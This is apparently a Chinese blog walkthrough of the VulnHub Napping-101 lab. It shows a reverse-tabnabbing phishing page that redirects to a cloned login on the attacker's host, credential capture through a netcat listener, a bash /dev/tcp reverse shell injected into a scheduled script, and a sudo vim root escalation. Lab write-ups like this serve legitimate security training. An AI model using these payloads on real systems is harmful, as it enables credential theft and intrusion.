Napping靶机渗透测试记录

Jach1n

已于 2025-02-18 09:23:25 修改

阅读量353

点赞数

CC 4.0 BY-SA版权

分类专栏： VulnHub靶机文章标签： napping靶机 vulhub vulhub靶机反向标签钓鱼 Napping

于 2023-01-31 17:20:15 首次发布

本文链接：https://blog.csdn.net/qq_44605964/article/details/128820572

VulnHub靶机专栏收录该内容

3 篇文章

订阅专栏

本文介绍了一个名为Napping-101的靶机渗透测试过程，包括利用Reverse Tabnabbing钓鱼攻击获取初始权限，通过权限提升技巧最终获得root权限。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

靶机信息

下载地址：https://www.vulnhub.com/entry/napping-101,752/

网络连接：桥接

kali地址：192.168.1.100

ps：这个靶机最好装到virtualbox上，装在vmware可能会出现扫描不到的情况，靶机和kali都设置为桥接模式进行扫描

信息搜集

扫描网段存活主机信息
由于靶机安装在virtualbox上，扫描的时候也会有显示，靶机为192.168.1.104

nmap -sn 192.168.1.0/24

在这里插入图片描述

对目标做进一步的扫描

nmap -A 192.168.1.104

在这里插入图片描述

先查看80端口，发现是一个登录界面，可以去注册一个账号
在这里插入图片描述

注册完账号并登录后发现可以提交链接
在这里插入图片描述

漏洞利用

提交完链接后点击here即可跳转到链接界面
查了下发现使用a标签和target=_blank可以构成Reverse Tabnabbing钓鱼
在这里插入图片描述

在/var/www/html目录下放两个html文件，一个为站点首页(index.html)，一个为钓鱼界面(test.html)

在kali上wget下载的网站首页文件为.php，需要重命名为.html

wget http://192.168.1.104/index.php
mv index.php index.html

vim test.html
<!DOCTYPE html>
<html>
<body>
    <script>
    	if(window.opener) window.opener.parent.location.replace('http://192.168.1.100:666/index.html');
    	if(window.opener  != window)  window.opener.parent.location.replace('http://192.168.1.100:666/index.html');
    </script>
</body>
</html>

在这里插入图片描述

访问kali下的网页，需要开启http服务
并在kali监听端口，监听的端口为钓鱼页面里链接的端口

python3 -m http.server 80
nc -lvp 666

在输入链接处，提交创建的钓鱼页面，过个两三分钟后，返回了数据包
在这里插入图片描述

权限提升

在返回的信息中发现了账号密码，密码这里需要url解码一下
daniel/C@ughtm3napping123，登录到daniel账号
在这里插入图片描述

查看daniel的id信息发现属于administrators组，查找属该组的文件
发现一个python脚本，这个脚本又打开了一个site_status.txt文件，每两分钟执行一次

find / -group administrators -type f 2>/dev/null

在这里插入图片描述

在tmp目录下写一个反向shell，在kali上监听端口
修改python脚本，加入shell脚本的路径，调用os执行

bash -c 'bash -i >& /dev/tcp/192.168.1.100/666 0>&1'

在这里插入图片描述

等脚本定时执行后，回连到adrian账户
sudo -l看一下，发现可以用root权限免密执行vim
直接vim提权

sudo vim -c ':!/bin/bash'
python3 -c 'import pty;pty.spawn("/bin/sh")'

获取到root权限，在root目录下获取到root.txt
在这里插入图片描述